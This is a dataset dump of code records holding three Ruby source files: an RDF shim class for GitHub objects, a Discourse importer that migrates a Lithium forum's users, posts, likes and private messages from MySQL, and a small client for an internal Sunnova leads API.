hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
e25932cda5a8dbe021fd8e78e672564908d38c8b
4,849
require 'digest/sha1' module GitHubLOD ## # Base class for GitHub shims class Base include RDF::Enumerable def self.properties; @properties; end def self.references; @reference; end # Defines property relationships # # @param [Symbol, Object] accessor # If a symbol, the attribute to reference, otherwise a value for object # @param [Hash{Symbol => Object}] options # @option options [RDF::URI] :predicate # @option options [Boolean] :rev Reverse the sense of this property # @option optinos [Boolean] :summary include in summary information def self.property(accessor, options) @properties ||= {} @properties[accessor] = options end # Defines a single relationship to another Base sub-class # # @param [Symbol] accessor # @param [Hash{Symbol => Object}] options # @option options [RDF::URI] :predicate # @option options [Boolean] :rev Reverse the sense of this property def self.reference(accessor, options) @reference ||= {} @reference[accessor] = options end attr_reader :api_obj attr_reader :subject def self.inherited(subclass) (@@subclasses ||= []) << subclass end ## # All instances # # Each subclass should implement this method to return all memberes # # @return [Base] def self.all @@subclasses.map {|subclass| subclass.all}.flatten end ## # All triples # # @yield statement # @yieldparam [RDF::Statement] statement def self.each(&block) all.each {|r| r.each(&block)} self end ## # A singleton class representing the union of all records. # Useful for writing RDF, as it implements RDF::Enumerable # # @return[Base] def self.singleton @singleton ||= begin o = Object.new o.extend(RDF::Enumerable) def o.each(&block) Base.each(&block) end o end end ## # Initialization, should be called as super with api_obj # # @param [GitHub::Base] api_obj def initialize(api_obj) @api_obj = api_obj end ## # Fetch information about the object, if it is uninitialized # # @return [Base] # Returns itself def fetch api_obj.created_at.today? ? sync : self end ## Synchronize object with GitHub # # @return [Base] def sync api_obj.fetch(:self) self end # Proxy everything else to api_obj def method_missing(method, *args) api_obj.send(method, *args) end ## # Generate Statements for user records # # @param [Boolean] summary Only summary information # @yield statement # @yieldparam [RDF::Statement] statement def each(summary = nil, &block) return if subject.nil? self.class.properties.each do |accessor, options| next if summary && !options[:summary] value = accessor.is_a?(Symbol) ? self.send(accessor) : accessor next unless value yield_attr(value, options, &block) end # Generate triples for references to other objects self.class.references.each do |accessor, options| values = [self.send(accessor)].flatten.compact values.each do |value| next unless value.subject # Reference to object yield_attr(value.subject, options, &block) # Summary information about object value.each(:summary, &block) end end unless summary || self.class.references.nil? self end protected ## # Fetch the association, recursing to referenced objects # and fetching them if the association is empty # # @param [Symbol] collection to fetch # @param [Class] :class (self.class) # Shim class to instantiate members def fetch_assoc(method, klass = self.class) list = api_obj.send(method, true) list.map {|api_obj| klass.new(api_obj)} end ## # Create a named node using a safe ID # # Be careful to not create duplicate nodes with the same id, # as they look like different nodes in the graph def bnode(id) id.gsub!(/[^A-Za-z0-9\-_]/, '_') @@nodes ||= {} @@nodes[id] ||= RDF::Node(id) end ## # Yield an attribute using predicate and typing info # # @param [Symbol] accessor # @param [Hash{Symbol => Object}] options # @yield statement # @yieldparam [RDF::Statement] def yield_attr(accessor, options, &block) value = accessor.is_a?(Symbol) ? self.send(accessor) : accessor return unless value if options[:rev] yield RDF::Statement.new(value, options[:predicate], subject) else yield RDF::Statement.new(subject, options[:predicate], value) end end end end
26.938889
77
0.616622
ac18a3fa36f165da31b55240c279dd64e1fe2c92
32,978
# frozen_string_literal: true # Notes: # # Written by Sam # # Lithium are quite protective of data, there is no simple way of exporting # If you have leverage you may get a data dump, in my case it was provided in XML # format # # First step is to convert it to db format so you can import it into a DB # that was done using import_scripts/support/convert_mysql_xml_to_mysql.rb # require 'mysql2' require 'csv' require 'reverse_markdown' require File.expand_path(File.dirname(__FILE__) + "/base.rb") require 'htmlentities' # remove table conversion [:table, :td, :tr, :th, :thead, :tbody].each do |tag| ReverseMarkdown::Converters.unregister(tag) end class ImportScripts::Lithium < ImportScripts::Base BATCH_SIZE = 1000 # CHANGE THESE BEFORE RUNNING THE IMPORTER DATABASE = "wd" PASSWORD = "password" AVATAR_DIR = '/tmp/avatars' ATTACHMENT_DIR = '/tmp/attachments' UPLOAD_DIR = '/tmp/uploads' OLD_DOMAIN = 'community.wd.com' TEMP = "" USER_CUSTOM_FIELDS = [ { name: "sso_id", user: "sso_id" }, { name: "user_field_1", profile: "jobtitle" }, { name: "user_field_2", profile: "company" }, { name: "user_field_3", profile: "industry" }, ] LITHIUM_PROFILE_FIELDS = "'profile.jobtitle', 'profile.company', 'profile.industry', 'profile.location'" USERNAME_MAPPINGS = { "admins": "admin_user" }.with_indifferent_access def initialize super @old_username_to_new_usernames = {} @htmlentities = HTMLEntities.new @client = Mysql2::Client.new( host: "localhost", username: "root", password: PASSWORD, database: DATABASE ) end def execute @max_start_id = Post.maximum(:id) import_groups import_categories import_users import_user_visits import_topics import_posts import_likes import_accepted_answers import_pms close_topics create_permalinks post_process_posts end def import_groups puts "", "importing groups..." groups = mysql_query <<-SQL SELECT DISTINCT name FROM roles ORDER BY name SQL create_groups(groups) do |group| { id: group["name"], name: @htmlentities.decode(group["name"]).strip } end end def import_users puts "", "importing users" user_count = mysql_query("SELECT COUNT(*) count FROM users").first["count"] avatar_files = Dir.entries(AVATAR_DIR) duplicate_emails = mysql_query("SELECT email_lower FROM users GROUP BY email_lower HAVING COUNT(email_lower) > 1").map { |e| [e["email_lower"], 0] }.to_h batches(BATCH_SIZE) do |offset| users = mysql_query <<-SQL SELECT id, nlogin, login_canon, email, registration_time, sso_id FROM users ORDER BY id LIMIT #{BATCH_SIZE} OFFSET #{offset} SQL break if users.size < 1 next if all_records_exist? :users, users.map { |u| u["id"].to_i } users = users.to_a first_id = users.first["id"] last_id = users.last["id"] profiles = mysql_query <<-SQL SELECT user_id, param, nvalue FROM user_profile WHERE nvalue IS NOT NULL AND param IN (#{LITHIUM_PROFILE_FIELDS}) AND user_id >= #{first_id} AND user_id <= #{last_id} ORDER BY user_id SQL create_users(users, total: user_count, offset: offset) do |user| user_id = user["id"] profile = profiles.select { |p| p["user_id"] == user_id } result = profile.select { |p| p["param"] == "profile.location" } location = result.count > 0 ? result.first["nvalue"] : nil username = user["login_canon"] username = USERNAME_MAPPINGS[username] if USERNAME_MAPPINGS[username].present? email = user["email"].presence || fake_email email_lower = email.downcase if duplicate_emails.key?(email_lower) duplicate_emails[email_lower] += 1 email.sub!("@", "+#{duplicate_emails[email_lower]}@") if duplicate_emails[email_lower] > 1 end { id: user_id, name: user["nlogin"], username: username, email: email, location: location, custom_fields: user_custom_fields(user, profile), # website: user["homepage"].strip, # title: @htmlentities.decode(user["usertitle"]).strip, # primary_group_id: group_id_from_imported_group_id(user["usergroupid"]), created_at: unix_time(user["registration_time"]), post_create_action: proc do |u| @old_username_to_new_usernames[user["login_canon"]] = u.username # import user avatar sso_id = u.custom_fields["sso_id"] if sso_id.present? prefix = "#{AVATAR_DIR}/#{sso_id}_" file = get_file(prefix + "actual.jpeg") file ||= get_file(prefix + "profile.jpeg") if file.present? upload = UploadCreator.new(file, file.path, type: "avatar").create_for(u.id) u.create_user_avatar unless u.user_avatar if !u.user_avatar.contains_upload?(upload.id) u.user_avatar.update_columns(custom_upload_id: upload.id) if u.uploaded_avatar_id.nil? || !u.user_avatar.contains_upload?(u.uploaded_avatar_id) u.update_columns(uploaded_avatar_id: upload.id) end end end end end } end end end def import_user_visits puts "", "importing user visits" batches(BATCH_SIZE) do |offset| visits = mysql_query <<-SQL SELECT user_id, login_time FROM user_log ORDER BY user_id LIMIT #{BATCH_SIZE} OFFSET #{offset} SQL break if visits.size < 1 user_ids = visits.uniq { |v| v["user_id"] } user_ids.each do |user_id| user = UserCustomField.find_by(name: "import_id", value: user_id).try(:user) raise "User not found for id #{user_id}" if user.blank? user_visits = visits.select { |v| v["user_id"] == user_id } user_visits.each do |v| date = unix_time(v["login_time"]) user.update_visit_record!(date) end end end end def user_custom_fields(user, profile) fields = Hash.new USER_CUSTOM_FIELDS.each do |attr| name = attr[:name] if attr[:user].present? fields[name] = user[attr[:user]] elsif attr[:profile].present? && profile.count > 0 result = profile.select { |p| p["param"] == "profile.#{attr[:profile]}" } fields[name] = result.first["nvalue"] if result.count > 0 end end fields end def get_file(path) return File.open(path) if File.exist?(path) nil end def unix_time(t) Time.at(t / 1000.0) end def import_profile_picture(old_user, imported_user) query = mysql_query <<-SQL SELECT filedata, filename FROM customavatar WHERE userid = #{old_user["userid"]} ORDER BY dateline DESC LIMIT 1 SQL picture = query.first return if picture.nil? file = Tempfile.new("profile-picture") file.write(picture["filedata"].encode("ASCII-8BIT").force_encoding("UTF-8")) file.rewind upload = UploadCreator.new(file, picture["filename"]).create_for(imported_user.id) return if !upload.persisted? imported_user.create_user_avatar imported_user.user_avatar.update(custom_upload_id: upload.id) imported_user.update(uploaded_avatar_id: upload.id) ensure file.close rescue nil file.unlind rescue nil end def import_profile_background(old_user, imported_user) query = mysql_query <<-SQL SELECT filedata, filename FROM customprofilepic WHERE userid = #{old_user["userid"]} ORDER BY dateline DESC LIMIT 1 SQL background = query.first return if background.nil? file = Tempfile.new("profile-background") file.write(background["filedata"].encode("ASCII-8BIT").force_encoding("UTF-8")) file.rewind upload = UploadCreator.new(file, background["filename"]).create_for(imported_user.id) return if !upload.persisted? imported_user.user_profile.upload_profile_background(upload) ensure file.close rescue nil file.unlink rescue nil end def import_categories puts "", "importing top level categories..." categories = mysql_query <<-SQL SELECT n.node_id, n.display_id, c.nvalue c_title, b.nvalue b_title, n.position, n.parent_node_id, n.type_id FROM nodes n LEFT JOIN settings c ON n.node_id = c.node_id AND c.param = 'category.title' LEFT JOIN settings b ON n.node_id = b.node_id AND b.param = 'board.title' ORDER BY n.type_id DESC, n.node_id ASC SQL categories = categories.map { |c| (c["name"] = c["c_title"] || c["b_title"] || c["display_id"]) && c } # To prevent duplicate category names categories = categories.map do |category| count = categories.to_a.count { |c| c["name"].present? && c["name"] == category["name"] } category["name"] << " (#{category["node_id"]})" if count > 1 category end parent_categories = categories.select { |c| c["parent_node_id"] <= 2 } create_categories(parent_categories) do |category| { id: category["node_id"], name: category["name"], position: category["position"], post_create_action: lambda do |record| after_category_create(record, category) end } end puts "", "importing children categories..." children_categories = categories.select { |c| c["parent_node_id"] > 2 } create_categories(children_categories) do |category| { id: category["node_id"], name: category["name"], position: category["position"], parent_category_id: category_id_from_imported_category_id(category["parent_node_id"]), post_create_action: lambda do |record| after_category_create(record, category) end } end end def after_category_create(category, params) node_id = category.custom_fields["import_id"] roles = mysql_query <<-SQL SELECT name FROM roles WHERE node_id = #{node_id} SQL if roles.count > 0 category.update(read_restricted: true) roles.each do |role| group_id = group_id_from_imported_group_id(role["name"]) if group_id.present? CategoryGroup.find_or_create_by(category: category, group_id: group_id) do |cg| cg.permission_type = CategoryGroup.permission_types[:full] end else puts "", "Group not found for id '#{role["name"]}'" end end end end def staff_guardian @_staff_guardian ||= Guardian.new(Discourse.system_user) end def import_topics puts "", "importing topics..." SiteSetting.tagging_enabled = true default_max_tags_per_topic = SiteSetting.max_tags_per_topic default_max_tag_length = SiteSetting.max_tag_length SiteSetting.max_tags_per_topic = 10 SiteSetting.max_tag_length = 100 topic_count = mysql_query("SELECT COUNT(*) count FROM message2 where id = root_id").first["count"] topic_tags = mysql_query("SELECT e.target_id, GROUP_CONCAT(l.tag_text SEPARATOR ',') tags FROM tag_events_label_message e LEFT JOIN tags_label l ON e.tag_id = l.tag_id GROUP BY e.target_id") batches(BATCH_SIZE) do |offset| topics = mysql_query <<-SQL SELECT id, subject, body, deleted, user_id, post_date, views, node_id, unique_id, row_version FROM message2 WHERE id = root_id #{TEMP} ORDER BY node_id, id LIMIT #{BATCH_SIZE} OFFSET #{offset} SQL break if topics.size < 1 next if all_records_exist? :posts, topics.map { |topic| "#{topic["node_id"]} #{topic["id"]}" } create_posts(topics, total: topic_count, offset: offset) do |topic| category_id = category_id_from_imported_category_id(topic["node_id"]) deleted_at = topic["deleted"] == 1 ? topic["row_version"] : nil raw = topic["body"] if category_id.present? && raw.present? { id: "#{topic["node_id"]} #{topic["id"]}", user_id: user_id_from_imported_user_id(topic["user_id"]) || Discourse::SYSTEM_USER_ID, title: @htmlentities.decode(topic["subject"]).strip[0...255], category: category_id, raw: raw, created_at: unix_time(topic["post_date"]), deleted_at: deleted_at, views: topic["views"], custom_fields: { import_unique_id: topic["unique_id"] }, import_mode: true, post_create_action: proc do |post| result = topic_tags.select { |t| t["target_id"] == topic["unique_id"] } if result.count > 0 tag_names = result.first["tags"].split(",") DiscourseTagging.tag_topic_by_names(post.topic, staff_guardian, tag_names) end end } else message = "Unknown" message = "Category '#{category_id}' not exist" if category_id.blank? message = "Topic 'body' is empty" if raw.blank? PluginStoreRow.find_or_create_by(plugin_name: "topic_import_log", key: topic["unique_id"].to_s, value: message, type_name: 'String') nil end end end SiteSetting.max_tags_per_topic = default_max_tags_per_topic SiteSetting.max_tag_length = default_max_tag_length end def import_posts post_count = mysql_query("SELECT COUNT(*) count FROM message2 WHERE id <> root_id").first["count"] puts "", "importing posts... (#{post_count})" batches(BATCH_SIZE) do |offset| posts = mysql_query <<-SQL SELECT id, body, deleted, user_id, post_date, parent_id, root_id, node_id, unique_id, row_version FROM message2 WHERE id <> root_id #{TEMP} ORDER BY node_id, root_id, id LIMIT #{BATCH_SIZE} OFFSET #{offset} SQL break if posts.size < 1 next if all_records_exist? :posts, posts.map { |post| "#{post["node_id"]} #{post["root_id"]} #{post["id"]}" } create_posts(posts, total: post_count, offset: offset) do |post| raw = post["raw"] next unless topic = topic_lookup_from_imported_post_id("#{post["node_id"]} #{post["root_id"]}") deleted_at = topic["deleted"] == 1 ? topic["row_version"] : nil raw = post["body"] if raw.present? new_post = { id: "#{post["node_id"]} #{post["root_id"]} #{post["id"]}", user_id: user_id_from_imported_user_id(post["user_id"]) || Discourse::SYSTEM_USER_ID, topic_id: topic[:topic_id], raw: raw, created_at: unix_time(post["post_date"]), deleted_at: deleted_at, custom_fields: { import_unique_id: post["unique_id"] }, import_mode: true } if parent = topic_lookup_from_imported_post_id("#{post["node_id"]} #{post["root_id"]} #{post["parent_id"]}") new_post[:reply_to_post_number] = parent[:post_number] end new_post else PluginStoreRow.find_or_create_by(plugin_name: "post_import_log", key: post["unique_id"].to_s, value: "Post 'body' is empty", type_name: 'String') nil end end end end SMILEY_SUBS = { "smileyhappy" => "smiley", "smileyindifferent" => "neutral_face", "smileymad" => "angry", "smileysad" => "cry", "smileysurprised" => "dizzy_face", "smileytongue" => "stuck_out_tongue", "smileyvery-happy" => "grin", "smileywink" => "wink", "smileyfrustrated" => "confounded", "smileyembarrassed" => "flushed", "smileylol" => "laughing", "cathappy" => "smiley_cat", "catindifferent" => "cat", "catmad" => "smirk_cat", "catsad" => "crying_cat_face", "catsurprised" => "scream_cat", "cattongue" => "stuck_out_tongue", "catvery-happy" => "smile_cat", "catwink" => "wink", "catfrustrated" => "grumpycat", "catembarrassed" => "kissing_cat", "catlol" => "joy_cat" } def import_likes puts "\nimporting likes..." sql = "select source_id user_id, target_id post_id, row_version created_at from tag_events_score_message" results = mysql_query(sql) puts "loading unique id map" existing_map = {} PostCustomField.where(name: 'import_unique_id').pluck(:post_id, :value).each do |post_id, import_id| existing_map[import_id] = post_id end puts "loading data into temp table" DB.exec("create temp table like_data(user_id int, post_id int, created_at timestamp without time zone)") PostAction.transaction do results.each do |result| result["user_id"] = user_id_from_imported_user_id(result["user_id"].to_s) result["post_id"] = existing_map[result["post_id"].to_s] next unless result["user_id"] && result["post_id"] DB.exec("INSERT INTO like_data VALUES (:user_id,:post_id,:created_at)", user_id: result["user_id"], post_id: result["post_id"], created_at: result["created_at"] ) end end puts "creating missing post actions" DB.exec <<~SQL INSERT INTO post_actions (post_id, user_id, post_action_type_id, created_at, updated_at) SELECT l.post_id, l.user_id, 2, l.created_at, l.created_at FROM like_data l LEFT JOIN post_actions a ON a.post_id = l.post_id AND l.user_id = a.user_id AND a.post_action_type_id = 2 WHERE a.id IS NULL SQL puts "creating missing user actions" DB.exec <<~SQL INSERT INTO user_actions (user_id, action_type, target_topic_id, target_post_id, acting_user_id, created_at, updated_at) SELECT pa.user_id, 1, p.topic_id, p.id, pa.user_id, pa.created_at, pa.created_at FROM post_actions pa JOIN posts p ON p.id = pa.post_id LEFT JOIN user_actions ua ON action_type = 1 AND ua.target_post_id = pa.post_id AND ua.user_id = pa.user_id WHERE ua.id IS NULL AND pa.post_action_type_id = 2 SQL # reverse action DB.exec <<~SQL INSERT INTO user_actions (user_id, action_type, target_topic_id, target_post_id, acting_user_id, created_at, updated_at) SELECT p.user_id, 2, p.topic_id, p.id, pa.user_id, pa.created_at, pa.created_at FROM post_actions pa JOIN posts p ON p.id = pa.post_id LEFT JOIN user_actions ua ON action_type = 2 AND ua.target_post_id = pa.post_id AND ua.acting_user_id = pa.user_id AND ua.user_id = p.user_id WHERE ua.id IS NULL AND pa.post_action_type_id = 2 SQL puts "updating like counts on posts" DB.exec <<~SQL UPDATE posts SET like_count = coalesce(cnt,0) FROM ( SELECT post_id, count(*) cnt FROM post_actions WHERE post_action_type_id = 2 AND deleted_at IS NULL GROUP BY post_id ) x WHERE posts.like_count <> x.cnt AND posts.id = x.post_id SQL puts "updating like counts on topics" DB.exec <<-SQL UPDATE topics SET like_count = coalesce(cnt,0) FROM ( SELECT topic_id, sum(like_count) cnt FROM posts WHERE deleted_at IS NULL GROUP BY topic_id ) x WHERE topics.like_count <> x.cnt AND topics.id = x.topic_id SQL end def import_accepted_answers puts "\nimporting accepted answers..." sql = "select unique_id post_id from message2 where (attributes & 0x4000 ) != 0 and deleted = 0;" results = mysql_query(sql) puts "loading unique id map" existing_map = {} PostCustomField.where(name: 'import_unique_id').pluck(:post_id, :value).each do |post_id, import_id| existing_map[import_id] = post_id end puts "loading data into temp table" DB.exec("create temp table accepted_data(post_id int primary key)") PostAction.transaction do results.each do |result| result["post_id"] = existing_map[result["post_id"].to_s] next unless result["post_id"] DB.exec("INSERT INTO accepted_data VALUES (:post_id)", post_id: result["post_id"] ) end end puts "deleting dupe answers" DB.exec <<~SQL DELETE FROM accepted_data WHERE post_id NOT IN ( SELECT post_id FROM ( SELECT topic_id, MIN(post_id) post_id FROM accepted_data a JOIN posts p ON p.id = a.post_id GROUP BY topic_id ) X ) SQL puts "importing accepted answers" DB.exec <<~SQL INSERT into post_custom_fields (name, value, post_id, created_at, updated_at) SELECT 'is_accepted_answer', 'true', a.post_id, current_timestamp, current_timestamp FROM accepted_data a LEFT JOIN post_custom_fields f ON name = 'is_accepted_answer' AND f.post_id = a.post_id WHERE f.id IS NULL SQL puts "marking accepted topics" DB.exec <<~SQL INSERT into topic_custom_fields (name, value, topic_id, created_at, updated_at) SELECT 'accepted_answer_post_id', a.post_id::varchar, p.topic_id, current_timestamp, current_timestamp FROM accepted_data a JOIN posts p ON p.id = a.post_id LEFT JOIN topic_custom_fields f ON name = 'accepted_answer_post_id' AND f.topic_id = p.topic_id WHERE f.id IS NULL SQL puts "done importing accepted answers" end def import_pms puts "", "importing pms..." puts "determining participation records" inbox = mysql_query("SELECT note_id, recipient_user_id user_id FROM tblia_notes_inbox") outbox = mysql_query("SELECT note_id, recipient_id user_id FROM tblia_notes_outbox") users = {} [inbox, outbox].each do |r| r.each do |row| ary = (users[row["note_id"]] ||= Set.new) user_id = user_id_from_imported_user_id(row["user_id"]) ary << user_id if user_id end end puts "untangling PM soup" note_to_subject = {} subject_to_first_note = {} mysql_query("SELECT note_id, subject, sender_user_id FROM tblia_notes_content order by note_id").each do |row| user_id = user_id_from_imported_user_id(row["sender_user_id"]) ary = (users[row["note_id"]] ||= Set.new) if user_id ary << user_id end note_to_subject[row["note_id"]] = row["subject"] if row["subject"] !~ /^Re: / subject_to_first_note[[row["subject"], ary]] ||= row["note_id"] end end puts "Loading user_id to username map" user_map = {} User.pluck(:id, :username).each do |id, username| user_map[id] = username end topic_count = mysql_query("SELECT COUNT(*) count FROM tblia_notes_content").first["count"] batches(BATCH_SIZE) do |offset| topics = mysql_query <<-SQL SELECT note_id, subject, body, sender_user_id, sent_time FROM tblia_notes_content ORDER BY note_id LIMIT #{BATCH_SIZE} OFFSET #{offset} SQL break if topics.size < 1 next if all_records_exist? :posts, topics.map { |topic| "pm_#{topic["note_id"]}" } create_posts(topics, total: topic_count, offset: offset) do |topic| user_id = user_id_from_imported_user_id(topic["sender_user_id"]) || Discourse::SYSTEM_USER_ID participants = users[topic["note_id"]] usernames = (participants - [user_id]).map { |id| user_map[id] } subject = topic["subject"] topic_id = nil if subject =~ /^Re: / parent_id = subject_to_first_note[[subject[4..-1], participants]] if parent_id if t = topic_lookup_from_imported_post_id("pm_#{parent_id}") topic_id = t[:topic_id] end end end raw = topic["body"] if raw.present? msg = { id: "pm_#{topic["note_id"]}", user_id: user_id, raw: raw, created_at: unix_time(topic["sent_time"]), import_mode: true } unless topic_id msg[:title] = @htmlentities.decode(topic["subject"]).strip[0...255] msg[:archetype] = Archetype.private_message msg[:target_usernames] = usernames.join(',') else msg[:topic_id] = topic_id end msg else PluginStoreRow.find_or_create_by(plugin_name: "pm_import_log", key: topic["note_id"].to_s, value: "PM 'body' is empty", type_name: 'String') nil end end end end def close_topics puts "\nclosing closed topics..." sql = "select unique_id post_id from message2 where root_id = id AND (attributes & 0x0002 ) != 0;" results = mysql_query(sql) # loading post map existing_map = {} PostCustomField.where(name: 'import_unique_id').pluck(:post_id, :value).each do |post_id, import_id| existing_map[import_id.to_i] = post_id.to_i end results.map { |r| r["post_id"] }.each_slice(500) do |ids| mapped = ids.map { |id| existing_map[id] }.compact DB.exec(<<~SQL, ids: mapped) if mapped.present? UPDATE topics SET closed = true WHERE id IN (SELECT topic_id FROM posts where id in (:ids)) SQL end end def create_permalinks puts "Creating permalinks" SiteSetting.permalink_normalizations = '/t5\\/.*p\\/(\\d+).*//p/\\1' sql = <<-SQL INSERT INTO permalinks (url, topic_id, created_at, updated_at) SELECT '/p/' || value, p.topic_id, current_timestamp, current_timestamp FROM post_custom_fields f JOIN posts p on f.post_id = p.id AND post_number = 1 LEFT JOIN permalinks pm ON url = '/p/' || value WHERE pm.id IS NULL AND f.name = 'import_unique_id' SQL r = DB.exec sql puts "#{r} permalinks to topics added!" sql = <<-SQL INSERT INTO permalinks (url, post_id, created_at, updated_at) SELECT '/p/' || value, p.id, current_timestamp, current_timestamp FROM post_custom_fields f JOIN posts p on f.post_id = p.id AND post_number <> 1 LEFT JOIN permalinks pm ON url = '/p/' || value WHERE pm.id IS NULL AND f.name = 'import_unique_id' SQL r = DB.exec sql puts "#{r} permalinks to posts added!" end def find_upload(user_id, attachment_id, real_filename) filename = attachment_id.to_s.rjust(4, "0") filename = File.join(ATTACHMENT_DIR, "000#{filename[0]}/#{filename}.dat") unless File.exists?(filename) puts "Attachment file doesn't exist: #{filename}" return nil end real_filename.prepend SecureRandom.hex if real_filename[0] == '.' upload = create_upload(user_id, filename, real_filename) if upload.nil? || !upload.valid? puts "Upload not valid :(" puts upload.errors.inspect if upload return nil end [upload, real_filename] end def post_process_posts puts "", "Postprocessing posts..." default_extensions = SiteSetting.authorized_extensions default_max_att_size = SiteSetting.max_attachment_size_kb SiteSetting.authorized_extensions = "*" SiteSetting.max_attachment_size_kb = 307200 current = 0 max = Post.count mysql_query("create index idxUniqueId on message2(unique_id)") rescue nil attachments = mysql_query("SELECT a.attachment_id, a.file_name, m.message_uid FROM tblia_attachment a INNER JOIN tblia_message_attachments m ON a.attachment_id = m.attachment_id") Post.where('id > ?', @max_start_id).find_each do |post| begin id = post.custom_fields["import_unique_id"] next unless id raw = mysql_query("select body from message2 where unique_id = '#{id}'").first['body'] unless raw puts "Missing raw for post: #{post.id}" next end new_raw = postprocess_post_raw(raw, post.user_id) files = attachments.select { |a| a["message_uid"].to_s == id } new_raw << html_for_attachments(post.user_id, files) unless post.raw == new_raw post.raw = new_raw post.cooked = post.cook(new_raw) cpp = CookedPostProcessor.new(post) cpp.link_post_uploads post.custom_fields["import_post_process"] = true post.save end rescue PrettyText::JavaScriptError puts "GOT A JS error on post: #{post.id}" nil ensure print_status(current += 1, max) end end SiteSetting.authorized_extensions = default_extensions SiteSetting.max_attachment_size_kb = default_max_att_size end def postprocess_post_raw(raw, user_id) matches = raw.match(/<messagetemplate.*<\/messagetemplate>/m) || [] matches.each do |match| hash = Hash.from_xml(match) template = hash["messagetemplate"]["zone"]["item"] content = (template[0] || template)["content"] || "" raw.sub!(match, content) end doc = Nokogiri::HTML.fragment(raw) doc.css("a,img,li-image").each do |l| upload_name, image, linked_upload = [nil] * 3 if l.name == "li-image" && l["id"] upload_name = l["id"] else uri = URI.parse(l["href"] || l["src"]) rescue nil uri.hostname = nil if uri && uri.hostname == OLD_DOMAIN if uri && !uri.hostname if l["href"] l["href"] = uri.path # we have an internal link, lets see if we can remap it? permalink = Permalink.find_by_url(uri.path) rescue nil if l["href"] if permalink && permalink.target_url l["href"] = permalink.target_url elsif l["href"] =~ /^\/gartner\/attachments\/gartner\/([^.]*).(\w*)/ linked_upload = "#{$1}.#{$2}" end end elsif l["src"] # we need an upload here upload_name = $1 if uri.path =~ /image-id\/([^\/]+)/ end end end if upload_name png = UPLOAD_DIR + "/" + upload_name + ".png" jpg = UPLOAD_DIR + "/" + upload_name + ".jpg" gif = UPLOAD_DIR + "/" + upload_name + ".gif" # check to see if we have it if File.exist?(png) image = png elsif File.exists?(jpg) image = jpg elsif File.exists?(gif) image = gif end if image File.open(image) do |file| upload = UploadCreator.new(file, "image." + (image.ends_with?(".png") ? "png" : "jpg")).create_for(user_id) l.name = "img" if l.name == "li-image" l["src"] = upload.url end else puts "image was missing #{l["src"]}" end elsif linked_upload segments = linked_upload.match(/\/(\d*)\/(\d)\/([^.]*).(\w*)$/) if segments.present? lithium_post_id = segments[1] attachment_number = segments[2] result = mysql_query("select a.attachment_id, f.file_name from tblia_message_attachments a INNER JOIN message2 m ON a.message_uid = m.unique_id INNER JOIN tblia_attachment f ON a.attachment_id = f.attachment_id where m.id = #{lithium_post_id} AND a.attach_num = #{attachment_number} limit 0, 1") result.each do |row| upload, filename = find_upload(user_id, row["attachment_id"], row["file_name"]) if upload.present? l["href"] = upload.url else puts "attachment was missing #{l["href"]}" end end end end end # for user mentions doc.css("li-user").each do |l| uid = l["uid"] if uid.present? user = UserCustomField.find_by(name: 'import_id', value: uid).try(:user) if user.present? username = user.username span = l.document.create_element "span" span.inner_html = "@#{username}" l.replace span end end end raw = ReverseMarkdown.convert(doc.to_s) raw.gsub!(/^\s*&nbsp;\s*$/, "") # ugly quotes raw.gsub!(/^>[\s\*]*$/, "") raw.gsub!(/:([a-z]+):/) do |match| ":#{SMILEY_SUBS[$1] || $1}:" end # nbsp central raw.gsub!(/([a-zA-Z0-9])&nbsp;([a-zA-Z0-9])/, "\\1 \\2") raw end def html_for_attachments(user_id, files) html = +"" files.each do |file| upload, filename = find_upload(user_id, file["attachment_id"], file["file_name"]) if upload.present? html << "\n" if html.present? html << html_for_upload(upload, filename) end end html end def mysql_query(sql) @client.query(sql, cache_rows: true) end end ImportScripts::Lithium.new.perform
31.588123
194
0.617654
18f1792107081c086818294d7935c66f11b43d19
2,888
module SungradeRailsToolkit module Sunnova class V0 extend ApiRequestHelper class << self def create_lead(params:) params = params.is_a?(String) ? params : params.to_json post( url: File.join(SungradeRailsToolkit.config.api_gateway_base_url, "/internal_api/v0/sunnova/leads"), body: params, headers: {"Content-Type" => "application/json"}, ) end def update_lead(params:, lead_id:) params = params.is_a?(String) ? params : params.to_json put( url: File.join(SungradeRailsToolkit.config.api_gateway_base_url, "/internal_api/v0/sunnova/leads/#{lead_id}"), body: params, headers: {"Content-Type" => "application/json"}, ) end def list_equipment get( url: File.join(SungradeRailsToolkit.config.api_gateway_base_url, "/internal_api/v0/sunnova/equipment"), ) end def build_lead_systems(lead_id:, body:) post( url: File.join( SungradeRailsToolkit.config.api_gateway_base_url, "/internal_api/v0/sunnova/lead_systems" ), headers: {"Content-Type" => "application/json"}, body: { sunnova_body: body, lead_id: lead_id, }.to_json ) end def create_lead_quote(lead_system_id:, body:) post( url: File.join( SungradeRailsToolkit.config.api_gateway_base_url, "/internal_api/v0/sunnova/lead_quotes" ), headers: {"Content-Type" => "application/json"}, body: { sunnova_body: body, lead_system_id: lead_system_id, }.to_json ) end def fetch_lead_quote(lead_quote_id:) get( url: File.join( SungradeRailsToolkit.config.api_gateway_base_url, "/internal_api/v0/sunnova/lead_quotes/#{lead_quote_id}" ), ) end def rate_plans_for(lead_id:, lse_id:) get( url: File.join( SungradeRailsToolkit.config.api_gateway_base_url, "/internal_api/v0/sunnova/utilities/rate_plans?lead_id=#{lead_id}&lse_id=#{lse_id}" ) ) end def update_utility_information(lead_id:, lse_id:, body:) post( url: File.join( SungradeRailsToolkit.config.api_gateway_base_url, "/internal_api/v0/sunnova/utilities" ), headers: {"Content-Type" => "application/json"}, body: { sunnova_body: body, lead_id: lead_id, lse_id: lse_id }.to_json ) end end end end end
30.4
122
0.536704
bb0808732c71b2a60f8533daad1f2450fd6095fd
992
